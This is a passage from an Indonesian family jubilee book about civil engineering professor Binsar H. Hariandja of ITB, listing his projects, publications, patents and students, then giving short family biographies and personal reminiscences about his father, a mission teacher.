15. 1997: Supervisi Proyek DME/DVOR, Direktorat Perhubungan Udara, Republik Indonesia.
16. 2001: Supervisi Proyek Pembangunan Rumah Susun Jamsostek, Batam.
17. 2002: Proyek Identifikasi Prasarana-Sarana Kota Pekanbaru, Dinas Kimpraswil, Propinsi Riau.
18. 2002: Proyek Feasibility Study Pembangunan Jangka menengah Kota Pekanbaru, Dinas Kimraswil, Propinsi Riau.
19. 2002: Supervisi Proyek Pembangunan Rumah Susun Otorita Batam.
20. 2003: Proyek Feasibility Study, Pembangunan Pelabuhan Laut Internasional dan Kota Pantai, Kabupaten Cirebon.
21. 2003: Program Feasibility Study Prasarana-Sarana Kabupaten Rejang Lebong, Propinsi Bengkulu.
22. 2004: Program Reklamasi Pantai Ancol, P.T. Pembangunan Jaya Ancol, Jakarta.
23. 2004: Feasibility Study Proyek Rumah Sakit Pekerja, Kabupaten Kudus, Jawa Tengah.
24. 2005: Perencanaan Jembatan Cable-Stayed bentang 1.300 m, Galala-Poka, Ambon, Maluku.
25. 2007: Feasibility Study Program Pembangunan Aerocity Kertajati, Majalengka, Jawa Barat.
26. 2008: Perencanaan dan Pengawasan Pembangunan Rusunami 15 tingkat, Soekarno-Hatta, Bandung.
27. 2010: Perencanaan PLTA Sungai Kayan, Kalimantan Timur
28. 2011: Perencanaan Gedung Perkantoran 40 lantai dan Apartemen 20 lantai, Sopo Del, Mega Kuningan, Jakarta.
29. 2011: Feasibility Study PLTS Sumbawa, Nusa Tenggara Timur
Penelitian dan Pengembangan
1. 1986: Penelitian Sambungan Tiang Pancang, JHS Piling System (patent), Puslitbang Permukiman, Balitbang, Departemen Pekerjaan Umum.
2. 1989: Penelitian Pracetak Slab, JHS Concrete System, Puslitbang Permukiman, Balitbang, Departemen Pekerjaan Umum.
3. 1994: Penelitian Perencanaan dan Pengujian Komponen Balok Tipe-Y untuk Jembatan, PT. JHS Pilinh System, dan Puslitbang Permukiman, Balitbang, Departemen Pekerjaan Umum.
4. 1996: Research on Precast Concrete of Waffle-Crete Building System at Residential Multi-Storey Building, Cengkareng, Jakarta, Perumnas, Departemen Pekerjaan Umum.
5. 1997: Penelitian Perencanaan dan pengujian system plat Lantai Pracetak Penuh, PT. JHS Piling System dan Puslitbang Permukiman, Balitbang, Departemen Pekerjaan Umum.
6. 1997: Penelitian “Pengembangan Piranti Lunak Analisis Struktur dan Pengujian Ekperimental”, Riset Unggulan Terpadu (RUT) V, Kantor Negara Riset dan Teknologi, Dewan Riset Nasional, Jakarta.
7. 1998: Penelitian Perencanaan dan pengujian System Cerucuk-matras Beton, PT. JHS Piling System, Balitbang, Departemen Pekerjaan Umum.
8. 1998: Penelitian Struktur Rumah Susun Sistem Hybrid “JASUBA”, Hibang Bersaing, Direktorat Perguruan Tinggi, Depdikbud, Jakarta, (proses patent).
9. 1999: Penelitian Struktur Rumah Susun Sistem “BRESPHAKA”, PT. Hutama Karya dan PT. Binanusa Pracetak Rekayasa (proses patent).
10. 2002: Penelitian Pembangunan Fabrikasi Adaptif Komponen Beton Pracetak, Riset Unggulan Kemitraan (RUK), Meneg Ristek, Lembaga Penilitian dan Pemberdayaan Masyarakat, Institut Teknologi Bandung dan PT. Bina Innovasi Rekayasa.
PUBLIKASI
1. Buckling Capacity of Spherical Domes, Skripsi Bachelor Degree, Institut Teknologi Bandung, 1972.
2. Shake-down Load Incliuding P-A Effects, Thesis Master Institute of Technology, Bangkok, Thailand. 1975.
3. Adaptive Finite Element Analysis of Nonlinear Frictional Contact with Mixed Eulerian-Lagrangian Coordinates, Disertasi Doktor, Civil Engineering Department, University of Illinois at Urbana-Champaign, Illinois, USA, 1985.
4. Analisis Tegangan Sigulir Dengan Metoda Elemen Hingga, Simposium Jurusan Teknik Mesis ITB, 1992
5. Metoda Elemen Hingga: Konsep Dasar dan Penerapan”, Jurnal HAKI, 1090.
6. Analisis Nonlinier Struktur Dengan Metoda Elemen Hingga, Jurnal HAKI, 1990.
7. Metoda Numerik Dalam Problem Kontinuum: Formulasi Beda Hingga dan Elemen Hingga.
8. Structural Dynamics, Lokakarya Internasional Gempa, Puslitbang Permukiman, Bandung.
9. Paper: Analysis of Soil-Structure Interaction Using Finite Element Techniques, Proceedings, First International Conference on Structural Dynamic Load Problems on Structures, Bandung, Indonesia, Nov. 28-29, 1996, ISBN 979-95105-0-3.
10. Paper: Algoritma Kekangan Multi Titik Dalam Analisis Struktur”, Jurnal Teknik Sipil, vol. 4, No. 2, April 1997, ISSN 0853-2982, Akreditasi DIKTI No. 050/D/I/98.
11. Paper: Design and Laboratory Testing of Components and Joints of Fully Precast Column-Slab System”, HAKI Conference 1997 on Civil and Structural Engineering, Jakarta, 13-14 Agustus 1997, ISBN 979-95080-2-9.
12. Paper: “Penerapan Algoritma Kekangan dalam Analisis Struktur dengan Formulasi Elemen Hingga”, Prosiding Seminar Elemen Hingga, Jurusan Teknik Mesin ITB, 18-19 Desember 1997, ISSN: 0853-7119, Akreditasi DIKTI No. 850/D/C/95.
13. Paper: Penggunaan Deskripsi Campuran Euler-Lagrange dalam Analisis Nonlinier Geometris Sistem Struktur dengan Formulasi Elemen Hingga, Jurnal Teknik Sipil, ITB, vol. 5, No.1, Januari 1998, ISSN: 0853-2982 Akreditasi DIKTI No. 050/D/I/98.
14. Laporan Riset: Pengembangan Peranti Lunak Analisis Struktur dan Pengujian Ekperimental”, Riset Unggulan Terpadu (RUT) V, Kantor Menteri Negara Riset dan Teknologi, Dewan Riset Nasional, 1998.
15. Laporan Riset, Penelitian Pembangunan Fabrikasi Adaptif Komponen Beton Pracetak, Riset Unggulan Kemitraan (RUK), Meneg Ristek, Lembaga Pengabdian dan Pemberdayaan Masyarakat, ITB dan PT. Bina Innovasi Rekayasa.
16. Paper: The Used of Mixed Eulerian-Lagrangian Displacement in Analysis of Prestressed Concrete Brigde Girder, IOSR Journals of Mechanical and Civil Engineering, vol. 14, issue 6 ver. II, pp 15-23, November 2017, p-ISSN: 2320-334X, e-ISSN: 2278-1684,
17. Paper: Consistent Mass Formulation in Dynamic Analysis of Structural System, IOSR Journals of Mechanical and Civil Engineering, vol. 14, issue 6 ver. III, pp 15-23, December 2017, p-ISSN: 2320-334X, e-ISSN: 2278-1684,
18. Paper: Analysis of Gradually Built Structural System, IOSR Journals of Mechanical and Civil Engineering, vol. 14, issue 6 ver. III, pp 15-23, December 2017, p-ISSN: 2320-334X, e-ISSN: 2278-1684,
Penulisan Buku/Referensi
1. 1989: Terjemahan, Buku Desain Struktur Beton Prategang, karangan T.Y. Lin dan H. Burns,.
2. 1987: Terjemaahan, Buku Konsep-konsep Probabilitas dalam Perencanaan dan Perancangan Rekayasa, karangan Alfredo H.-S. Ang dan Wilson H.
3. 1986: Terjemahan, Buku Desain Beton Bertulang , karangan C.K. Wang dan Salmon, Volume I.
4. 1986: Terjemahan, Buku Desain Beton Bertulang , karangan C.K. Wang dan Salmon, Volume II.
5. 1996: Penulisan Buku Asli, Statika Dalam Struktur Berbentuk Rangka, P.T. Penerbit Erlangga, Jakarta.
6. 1996: Penulisan Buku Asli, Analisis Lanjut Sistem Struktur Berbentuk Rangka, P.T. Penerbit Erlangga, Jakarta.
7. 1996: Penulisan Buku Asli, Mekanika Bahan dan Pengantar Teori Elastisitas, P.T. Penerbit Erlangga, Jakarta
8. 1997: Penulisan Buku Asli, Analisis Struktur Berbentuk Rangka Dalam Formulasi Matriks, P.T. Aksara Hutasada.
9. 1995: Penyuntingan Dasar-dasar Perencanaan Struktur Beton, Karangan Vis dan Gideon Kusuma.
10. 1990: Editor, Jurnal Himpunan Ahli Konstruksi Indonesia (HAKI).
11. 1999: Penerapan Teknik Sipil Dalam Penyiapan Sarana Perumahan di Indonesia Dalam Era Globalisasi, Orasi Ilmiah Jabatan Guru Besar, Jurusan Teknil Sipil, Institut Teknologi Bandung.
12. 2006: Penulisan Buku Analisis Elastis Beton Bertulang, Analisis Kekuatan Batas Beton Bertulang, Perencanaan Struktur Beton Komposit.
13. 2007: Penulisan Buku Perencanaan Struktur Beton Komposit, P.T. John Idetama Teknik, Jakarta.
14. 2007: Penulisan Buku Metoda Elemen Hingga, P.T. Penerbit Erlangga, Jakarta.
15. 2008: Penulisan Buku Matematika Terapan Volume I s/d Volume IV.
16. 2014: Buku Mekanika Rekayasa I: Statika, Penerbit ITB, Bandung
17. 2015: Buku Mekanika Rekayasa III: Analisis Struktur Dengan Metoda Gaya dan Metoda Perpindahan, Penerbit ITB, Bandung
18. 2015: Penulisan Buku, Mekanika Rekayasa IV: Analisis Struktur Berbentuk Rangka Dalam Formulasi Matriks, Penerbit ITB, Bandung.
Keanggotaan Badan Profesi
1. 1990 – 1992: Ketua Bidang Publikasi, Himpunan Ahli Konstruksi Indonesia (HAKI).
2. 1994 – 1998: Anggota Pengurus Pusat, Perhimpunan Ahli Teknik Indonesia (PATI).
3. 1994 – 1997: Wakil Ketua, Pengurus PATI Wilayah Jawa Barat.
4. 1997: Founding Member, ACECOMS, Bangkok, Thailand.
5. 1999 – 2004: Ketua Umum Dewan Pengurus Pusat, Ikatan Ahli Pracetak dan Prategang Indonesia (IAPPI).
6. 2001 – 2004: Ketua Umum Lembaga Jasa Konstruksi Indonesia (LJKI).
Penemuan/Patent
1. 1997: Sistem Pracetak Beton T-CAP, dengan Puskim Balitbang Departemen Pekerjaan Umum dan P.T. Pembangunan Perumahan.
2. 1998: Sistem Pracetak Beton JASUBA-KIM, dengan Puskim Balitbang Departemen Pekerjaan Umum dan P.T. Istaka Karya.
3. 1999: Sistem Pracetak Beton BRESPHAKA, dengan P.T. Hutama Karya dan P.T. Binanusa Pracetak Rekayasa.
4. 2004: Sistem Pracetak Beton Binovasa, P.T. Bina Innovasi Rekayasa.
Penghargaan
1. 1986: Lulus Ranking ke 5, Penataran P-4 Pegawai Negeri Tipe A Pola 140 jam, Propinsi Jawa Barat, Bandung.
2. 1988: Dosen Teladan Tingkat Fakultas Teknik Sipil & Perencanaan, Institut Teknologi Bandung.
3. 1988: Dosen Teladan Tingkat Institut, Institut Teknologi Bandung.
4. 1997: Satya Lencana Karya, 20 Tahun, Presiden Republik Indonesia.
5. 1998 : Satya Lencana Pengabdian 25 Tahun, Institut Teknologi Bandung, Departemen Pendidikan dan Kebudayaan, Republik Indonesia.
6. 2016 : Satya Lencana Pengabdian 30 Tahun, Institut Teknologi Bandung, Departemen Pendidikan dan Kebudayaan, Republik Indonesia.
Riwayat Kepangkatan Akademis
1. Maret 1973: Calon Pegawai Negeri Sipil
2. 29 Agustus 1975: Pegawai Negeri Sipil
3. 30 Maret 1977: Penata Muda, Golongan III/a
4. 9 Mei 1978: Penata Muda Tingkat I, Golongan III/b
5. 1 April 1983: Penata, Golongan III/c
6. 1 April 1986: Penata Tingkat I, Golongan III/d
7. 1 Oktober 1989: Pembina, Golongan IV/a
8. 1 April 1997: Pembina Tingkat I, Golongan IV/b
9. 1 April 1999: Pembina Utama Muda, Golongan IV/c
10. 1 April 2001: Pembina Utama Madya, Golongan IV/d
11. 1 Agustus 2018: Pensiun, Pembina Utama, Golongan IV/e
Riwayat Jabatan Akademis
1. 1 September 1975: Assisten Ahli Madya
2. 1 Oktober 1977: Assisten Ahli
3. 1 April 1983: Lektor Muda
4. 1 April 1986: Lektor Madya
5. 1 Oktober 1989: Lektor
6. 1 April 1996: Lektor Kepala
7. 1 Mei 1999: Guru Besar Madya
8. 1 Mei 2001: Guru Besar
9. 1 Agustus 2018: Purna Bhakti
Daftar Bimbingan Tugas Akhir
Program Doktor
1 | Hari Nugraha Nurjaman | Teknik Sipil ITB | 2002 |
2 | Hanafi Usman | Teknik Sipil ITB | 2007 |
3 | Jonbi | Teknik Sipil ITB | 2015 |
Program Magister
1 | Rosihan Saad | Teknik Sipil ITB | 1988 |
2 | Ros Anita Sidabutar | Teknik Sipil ITB | 1990 |
3 | Max Tamara | Teknik Sipil ITB | 1991 |
4 | Resmi Bestari | Teknik Sipil ITB | 1991 |
5 | Mukahar | Teknik Sipil ITB | 1991 |
6 | Paima Simbolon | Teknik Sipil ITB | 1991 |
7 | Arif Budiman | Teknik Sipil ITB | 1991 |
8 | Sunarto | Teknik Sipil ITB | 1992 |
9 | M. Rian E.B.S. | Teknik Sipil ITB | 1992 |
10 | Sopar Butarbutar | Teknik Sipil ITB | 1992 |
11 | Ari Mulyo Diah Utami | Teknik Sipil ITB | 1993 |
12 | Bambang Wuritno | Teknik Sipil ITB | 1993 |
13 | Iwan Tedja | Teknik Sipil ITB | 1994 |
14 | Pranawa Widagdo | Teknik Sipil ITB | 1994 |
15 | Hari Nugraha Nurjaman | Teknik Sipil ITB | 1998 |
16 | Iwan Nainggolan | Teknik Sipil ITB | 1998 |
17 | Hasballah Abdullah | Teknik Sipil ITB | 1998 |
18 | Muhammad Azhar Dwitama | Teknik Sipil ITB | 2014 |
19 | Raiyyan Rahmi Isda | Teknik Sipil ITB | 2014 |
20 | Suci Putri Elza | Teknik Sipil ITB | 2014 |
21 | Jeply Murdiaman Guci | Teknik Sipil ITB | 2015 |
22 | Bambang Herisono | Teknik Sipil Jagakarsa | 2016 |
23 | Sugesti Adinanesa | Teknik Sipil Jagakarsa | 2016 |
24 | Ahmad Yudi | Teknik Sipil ITB | 2016 |
25 | Hinawan | Teknik Sipil ITB | 2017 |
26 | Arianto Hasibuan | Teknik Sipil ITB | 2017 |
27 | Abdul Mutholib | Teknik Sipil Jagakarsa | 2017 |
28 | Ichsan Purnama Putra | Teknik Sipil ITB | 2017 |
29 | Firli Syafriza Sjarifuddin | Teknik Sipil ITB | 2017 |
Program Sarjana
1 | Wilman Widiatmodjo | Teknik Sipil ITB | 1986 |
2 | Iyus Rusmana | Teknik Sipil ITB | 1986 |
3 | Sumargo | Teknik Sipil ITB | 1986 |
4 | Tony Harley Silalahi | Teknik Sipil ITB | 1987 |
5 | Yap Tji Han | Teknik Sipil ITB | 1987 |
6 | Rudy Prawiradinata | Teknik Sipil ITB | 1987 |
7 | Alfian Noor | Teknik Sipil ITB | 1987 |
8 | Dicky Asmara | Teknik Sipil ITB | 1987 |
9 | Reviyeno | Teknik Sipil ITB | 1987 |
10 | Sucipto Tanro | Teknik Sipil ITB | 1987 |
11 | R. Gandahusada | Teknik Sipil ITB | 1987 |
12 | Iswadi Imran | Teknik Sipil ITB | 1987 |
13 | Efi Novara Nefiadi | Teknik Sipil ITB | 1987 |
14 | Hayati Triastuti | Teknik Sipil ITB | 1987 |
15 | Shoba Chugani | Teknik Sipil ITB | 1987 |
16 | Prayoga | Teknik Sipil ITB | 1988 |
17 | Susilarto | Teknik Sipil ITB | 1988 |
18 | Erwin Setiadi | Teknik Sipil ITB | 1988 |
19 | Yusmanda Faisal | Teknik Sipil ITB | 1988 |
20 | Antar Burlian | Teknik Sipil ITB | 1988 |
21 | E.S. Sukandar | Teknik Sipil ITB | 1988 |
22 | Paulus Irawan | Teknik Sipil ITB | 1988 |
23 | Iwan Ridwan | Teknik Sipil ITB | 1988 |
24 | Benny Napitupulu | Teknik Sipil UKI Jakarta | 1988 |
25 | Irsan Umron | Teknik Sipil ITB | 1989 |
26 | Jusuf Pujianto | Teknik Sipil ITB | 1989 |
27 | Edi Soebandi | Teknik Sipil UNPAR Bdg | 1990 |
28 | Junus S. | Teknik Sipil ITB | 1991 |
29 | Bachtiar K. | Teknik Sipil ITB | 1991 |
30 | Ahmad Adli Harahap | Teknik Sipil ITB | 1992 |
31 | Frits T. Siahaan | Teknik Sipil ITB | 1992 |
32 | Merry Sidjabat | Teknik Sipil ISTN Jkt | 1995 |
33 | Antoni Ridwan Lubis | Teknik Sipil ITB | 1996 |
34 | Asrul Ramdhani | Teknik Sipil ITB | 1996 |
35 | Roy Junjungan S. | Teknik Sipil ITB | 1997 |
36 | Julius Pangaribuan | Teknik Sipil ITB | 1997 |
37 | Maria Cristina | Teknik Sipil ITB | 1997 |
38 | Dian Hardi | Teknik Sipil ITENAS Bdg | 1997 |
39 | Suyatno | Teknik Sipil ITENAS Bdg | 1997 |
40 | Iwan Sumiarwan | Teknik Sipil ITENAS Bdg | 1997 |
41 | Leony | Teknik Sipil ITB | 1998 |
42 | Aliset Sebayang | Teknik Sipil ITB | 1998 |
43 | Heri Kusherna | Teknik Sipil ITENAS Bdg | 1998 |
44 | Surindra Purba | Teknik Sipil ITB | 1999 |
45 | IB. Adinata Wibawa | Teknik Sipil ITB | 1999 |
46 | Setriwaldi | Teknik Sipil Pancasila Jkt | 2014 |
47 | Genta Athena Malibu | Teknik Sipil Pancasila Jkt | 2016 |
48 | Venty Puspitasari | Teknik Sipil Pancasila Jkt | 2016 |
49 | Muhammad Fachreza Abi Rafdi | Teknik Sipil ITB | 2016 |
50 | Sonya Eka Puspita | Teknik Sipil Pancasila Jkt | 2016 |
51 | Yufi Harfian | Teknik Sipil Pancasila Jkt | 2016 |
52 | Criston Lamhot Simamora | Teknik Sipil Pancasila Jkt | 2017 |
53 | Iman Sarototo Nafo Gulo | Teknik Sipil Pancasila Jkt | 2017 |
54 | Ilham Putra Mahardika | Teknik Sipil Pancasila Jkt | 2017 |
55 | Donni Canra Putra | Teknik Sipil Pancasila Jkt | 2017 |
56 | Lutfhan Khalis | Teknik Sipil Pancasila Jkt | 2018 |
57 | Firdaus Lazuardian | Teknik Sipil Pancasila Jkt | 2018 |
58 | Rinaldi Aldiansyah | Teknik Sipil Pancasila Jkt | 2018 |
Silsilah Marga Hariandja
Vitae Singkat Anggota Keluarga
Vitae singkat dari keturunan dari Binsar Hariandja disusun menurut urutan kelahiran, serta mencantumkan nama, tempat dan tanggal lahir serta pernikahan, pendidikan dan pekerjaan atau profesi serta hobby (kegemaran).
Prof.Ir Binsar Halomoan Hariandja, M.Eng., Ph.D gelar Ompu Maharina Doli, lahir di Pangaribuan tanggal 9 Juli 1948. Mendapat pendidikan di SR, SMP, SMA, Teknik Sipil ITB, AIT Bangkok, University of Illinois. Nikah Tahun 1977, 1994 dan 1998. Berprofesi sebagai guru besar Teknik Sipil di ITB. Mempunyai hobby mengarang buku, meneliti, main golf, dan gemar makan durian, saksang, ikan teri serta udang rebon pedas. Pensiun sebagai pegawai negeri tahun 2018.
Rosalina Christina boru Tobing, lahir di Tarutung tanggal 15 Desember 1951. Mendapat pendidikan SR, SMP, SMA dan Fakultas Sastra USU. Nikah Tahun 1994. Berprofesi sebagai ibu rumah tangga, dan memiliki hobby memasak. Meninggal dunia di Bandung tanggal 18 Mei 1998.
Rd. Henniwaty Yusuf boru Gultom, gelar Ompu ni si Michael Boru, lahir di Jakarta tanggal 7 Maret 1954. Mendapat pendidikan di SR, SMP, SMA dan Akademi Sekretaris ASMI dan kursus wirausaha IWAPI. Nikah Tahun 1998. Berprofesi sebagai ibu rumah tangga dan memiliki hobby memasak, darma wisata dan shopping, gemar makan petis dan nasi gudeg.
Margrieta boru Tobing, gelar Ompu Maharina Boru, lahir di Medan tanggal 31 Desember 1954. Mendapat pendidikan di SR, SMP, SMA dan Fakultas Kedokteran Gigi USU. Nikah Tahun 1977. Berprofesi sebagai ibu rumah tangga dan memiliki hobby memasak dan darma wisata. Meninggal dunia di Bandung tanggal 22 November 1993.
Rd. Susan Angelayana (Sinta) lahir di Jakarta tanggal 28 November 1974. Dia mendapat pendidikan di SD, SMP, SMA dan Akademi Perbanas. Nikah Tahun 2000. Dia berprofesi sebagai pegawai bank sekaligus sebagai ibu rumah tangga. Memiliki hobby tari ballet, shopping dan nonton serta baca buku cerita silat. Senang makan escargot.
Charles Sitompul,ST,MT lahir di Cimahi tanggal 9 Maret 1977. Lulus sarjana Teknik Industri dari ITB, melanjut dan lulus master juga dari ITB. Nikah Tahun 2005. Bersama istri, melanjut program doktor di Belgia. Setelah lulus, kembali ke tanah air dan mengajar di Program Studi Teknik Industri Universitas Parahiyangan, Bandung. Dia memiliki hobby membaca dan nonton pilharmonic symphony.
Rd. Arief Darmawan lahir di Jakarta tanggal 1 Juni 1977. Pertamanya dia mengikuti kuliah di Jurusan Hubungan Internasional Jayabaya. Ternyata dia lebih menggemari sistem informasi. Nikah Tahun 2004. Dia memiliki hobby membaca, naik sepeda, bermain komputer dan nonton film silat.
Dra. R.A. Arieska Purbayaningrum lahir di Jakarta, tanggal 17 April 1978. Nikah Tahun 2004. Pendidikan di SD, SMP, SMA dan Jurusan Akuntansi Trisakti. Berprofesi sebagai guru menari sekaligus ibu rumah tangga. Mempunyai hobby makan, shopping dan menari.
Lambok Johanna Renny Octavia boru Hariandja, ST, MSc lahir di Bandung tanggal 11 Oktober 1978. Lulus sarjana Teknik Industri dari ITB, melanjut dan lulus master dari Utrecht Belanda. Nikah Tahun 2005. Melanjut program doktor di Belgia, dan setelah lulus, dia mengajar di Program Studi Teknik Industri Universitas Parahiyangan, Bandung. Dia memiliki hobby travelling dan nonton pilharmonic symphony.
Jonathan Mangasa Tua Hariandja, SH lahir di Urbana, Illinois, USA tanggal 2 Agustus 1982. Pertama dia masuk kuliah di Jurusan Hubungan Internasional Unpar. Akan tetapi, ternyata bidang hukum lebih disukainya, dan dia pindah jurusan dan lulus sarjana hukum. Berprofesi sebagai pengacara. Dia memiliki hobby otomotif.
Tiur Rinasari Esmiranti, S.Ip, MM lahir di Bandung tanggal 6 Oktober 1985. Pendidikan Jurusan Hubungan Internasional, Universitas Parahiyangan Bandung dan Magister Manajemen Universitas Maranatha Bandung. Senang membaca dan tour nasional maupun mancanagara.
David Ramot Parluhutan Hariandja lahir di Bandung tanggal 27 April 1987, pada waktu kejadian gempa bumi di Tarutung. Lulus Sarjana dari Program Studi Geodesi, Fakultas Teknik Kebumian ITB. Dia bekerja di kontraktor beton pracetak. Dia memiliki hobby bermain band dengan teman-temannya. Sifat doyan makan telah lama ditinggalkan.
Timothy Sipatota Hariandja lahir di Bandung tanggal 7 November 1991. Dia sekarang duduk di bangku SMA, usil dan sering coba menyogok guru agar membantunya mengerjakan soal. Dia memiliki hobby makan, tiga porsi beefsteak sekaligus, sehingga beratnya mencapai 120 kilo. Lulus sarjana hukum tahun 2018 dari Univeritas Katolik Parahiyangan. Bercita-cita jadi artis.
Michael Rasendria Widiantomo lahir di Jakarta tanggal 24 Agustus 2001. Dia sudah masuk taman kanak-kanak tetapi sering bolos karena sakit gigi. Dia paling suka bermain playstation dan menggambar. Kalau mau tidur malam, mesti minta kakinya dipijitin oleh kakeknya. Sekarang dia duduk di bangku SMA.
Sakura Athaya lahir di Jakarta tanggal 5 Desember 2005. Sekalipun belum masuk taman kanak-kanak, dia sudah pintar menggambar dan menari, serta merias muka meniru ibunya. Dia juga sudah lihai mintain uang dari kakek dan neneknya….. nin,…..duit! Sekarang dia duduk di bangku SMP.
Andrade Karel Joaquin Alexander Sitompul lahir di Belgia tanggal 29 Juli 2006. Sekalipun masih kecil, dia sudah pintar menggambar dan bermain puzzle. Sehabis bermain, dia selalu merapihkan sendiri semua barang mainannya. Setelah adiknya Aidan lahir, dia menganggapnya sebagai mainan yang baru.
Aidan Sebastian Nathaniel Parasian Sitompul lahir di Belgia tanggal 14 April 2008. Masih senang ngompol dan merengek minta susu. Kalau diganggu si Karel abangnya, dia akan kesal dan otomatis menutup mata seperti dalam foto ini.
Calin lahir di Jakarta tanggal 17 April 2011. Dia sekarang duduk di bangku sekolah dasar. Sering mau berhantam sama anak-anak sekolahnya ataupun sekolah lain. Hobbynya makan
Cataleya Maharina Natalie lahir di Bandung tanggal 29 Desember 2012. Sekarang duduk di TK B sekolah Rising Star. Gemar menari dan olah raga senam. Sangat gemar pakai perhiasan yang dibeli neneknya.
Kesan dan Pesan
Berikut ini adalah beberapa kesan dan pesan yang dituliskan oleh jubilaris, anggota keluarga, handai tolan, mahasiswa, rekan sekerja dan rekan seprofesi.
Semangat Baja Nan Tak Dilapuk Masa ….. !
Penulis menyusun kesan dan pesan ini bukan untuk bahan ajaran (mentang-mentang dia seorang guru besar), bukan pula untuk bersombong diri atau mendewakan seseorang, tetapi justru didorong oleh ajaran yang pernah dia dapatkan sewaktu kecil dari bapanda, Guru M. Hariandja.
Kata-kata kunci penulis kutip dari motto bapanda tercinta semasa hidupnya….”orang yang tidak mampu menahan duka bisa gila, dan orang yang tidak sanggup menerima suka bisa senewen” (jolma na so sanggup manaon arsak ni roha gabe gila, jala na so tongon manean pasu-pasu gabe senu). Kedua, kita bacalah Alkitab. Raja David merobek baju dan jubahnya serta tiarap di atas abu tatkala berduka (di saat anak kesayangannya meninggal), tetapi menari-nari bagai ”kesetanan” di kala gembira (saat mengarak tabut perjanjian Allah). Jiwa yang lepas dan semangat yang spontan, itulah ciri khas Raja David sehingga dia disayangi dan diberkati Jehovah Elohim! Rasanya tidak ada salahnya kita meniru figur yang spontan seperti ini, karena itu bukanlah suatu kesombongan.
Penulis sangat kagum akan figur bapanda, Guru M. Hariandja dan menganggapnya sebagai gurunya yang paling pertama. Rasa kagumnya bukan karena tinggi-rendahnya pendidikan sang bapa, tetapi karena keteguhan hati serta ketegaran pribadinya. Dengan modal pendidikan yang relatif tidak tinggi, dan dengan kondisi ekonomi yang sangat minim, maka dengan hanya disertai berkat Tuhan, dia dapat meletakkan dasar-dasar yang sangat kuat bagi suatu keluarga besar.
Dalam masa awal yang sangat terpuruk, dia telah dibekali visi bahwa anak-anak serta cucu-cucunya kelak akan berkembang maju dari orang desa menjadi orang kota yang sarat pendidikan. Penulis masih belum bisa mereka-reka, bagai mana akhirnya jalan dan akhir cerita keluarga ini, jika seandainya saja guru ini berasal dari sebuah keluarga menengah serta berpendidikan agak lumayan. Dia hanya mengandalkan kuasa Tuhan yang memberinya semangat membaja.
Semangat baja? Berpendirian keras? Betul! Lihatlah dia di kala mudanya, sangat berkemauan keras dan berpendirian teguh di saat-saat beradu argumen dengan teman sebayanya. Dalam aspek politik, dia adalah pengagum abis Bung Karno hingga tulang dan sumsum. Lihatlah, sorot tajam mata di bawah alisnya yang tebal, lebih dari cukup untuk menaklukkan dan menentramkan seorang anak nakal, tanpa perlu memarahi.
Sang guru ini memang orang yang sangat keras, tetapi didampingi oleh seorang isteri yang sangat sabar dan sangat penyayang. Di sinilah fungsi dan peran Ompu Mangoloi Boru sebagai pesaham besar dalam suksesnya keluarga ini. Ibarat bahan baja yang sangat tegar dan keras, tetapi dibutuhkan bahan yang lebih lunak darinya sebagai pembung-kusnya, seperti misalnya beton, asbestos dan cat atau meni. Dengan pendamping seperti ini, sang baja tak akan karatan atau lapuk diterpa masa. Berterima kasihlah pomparannya mendapat pasangan orang tua seperti ini.
Kini pomparannya telah merasa tenang dan mantap dalam menikmati berkat yang mereka terima dan syukuri dari Tuhan. Tugas mereka tinggal meneruskan cita-cita orang tua yang mereka warisi, yaitu nilai kejuangan disertai kerendahan hati, kejujuran serta rasa sosial dan setia kawan terhadap sesama. Bersyukur atas anugerah dari Tuhan Maha Penyayang, itulah tentunya yang paling pertama. (Binsar H. Hariandja, Jakarta, awal April 2008)
Suka Duka Anak Guru Zending…..
Sewaktu Zending dari Barmen Jerman menggagas misi di Tapanuli, mereka memulai dengan pembentukan semacam lingkungan percontohan yang dinamai godung. Kompleks godung merupakan suatu lahan yang dibatasi dengan tanggul (parik) dan yang di dalamnya dibangun fasilitas kerohanian (gereja), fasilitas pendidikan (sekolah) dan fasilitas kesehatan (rumah sakit).
Dengan demikian, sebuah godung umumnya dilengkapi dengan satu gereja, satu sekolah, satu rumah sakit, satu rumah pendeta, satu rumah guru jemaat, satu rumah guru kepala sekolah dan satu rumah mantri. Kompleks godung juga merupakan percontohan lahan pertanian (ladang, taman bunga dan lain-lain). Pada waktu itu, sebuah godung identik dengan lokasi yang teratur, nyaman, asri dan cantik sebagai taman bunga-bungaan.
Selain itu, pargodungan juga menjadi tempat percontohan keteladanan dalam kehidupan serta berperilaku sehari-hari. Bagai mana berpakaian bersih dan bersikap ramah dan santun, dicontohkan mulai dari godung. Karena hampir seluruh hidupnya, Guru M. Hariandja bekerja sebagai guru kepala jemaat, maka anak-anaknya selalu mendapat predikat sebagai anak godung dan anak guru Zending.
Menurut pengalaman mereka, adalah sulit-sulit gampang untuk membawakan diri sebagai anak godung atau anak guru Zending. Salah pengertian sedikit saja, anak-anak lain dengan cepat melakukan protes….. asal na anak ni guru Zending do ho (percuma kau anak guru Zending)! Salah faham kecil saja sering menjadikan sulit-sulit gampang untuk bergaul dengan anak-anak di luar godung.
Sukanya menjadi anak guru Zending antara lain adalah bahwa sejak kecil telah dibekali dengan aturan dan disiplin hidup bersih dan teratur. Sifat ini juga terbawa dalam pendidikan, sehingga banyak dan tinggi persentase anak-anak guru Zending yang berhasil. (Binsar H. Hariandja, Jakarta, medio April 2018)
Kuda Pun Ikut Mengajar…..
Di kala rindu, kami selalu memanfaatkan liburan untuk mengunjungi ompung kami yang tinggal di kampung. Begitu juga dengan Jabinsar yang dalam suatu liburan berkunjung ke kampung, diutus oleh bapa untuk menghibur dan membantu kedua ompungnya.
Menghibur? Membantu? Boro-boro! Seperti juga yang lainnya, dia hanya asyik bermain tanpa membantu ompungnya. Kalau dia disuruh kerja, pastilah akan kesal dan menggerutu dengan muka masam. Saat-saat yang membuatnya paling kesal adalah kalau ompung doli menyuruhnya ikut tidur siang. Ternyata ompung doli sering mimpi siang dengan mengigau….. ne…ni…nu…ne…no…..kayak main serunai dalam acara gondang! Aneh dan serem kedengarannya! Si Binsar ini sangat tipis kesabarannya. Dan sifat ini ternyata akan berobah suatu saat, seperti dalam lanjutan kisah berikut ini.
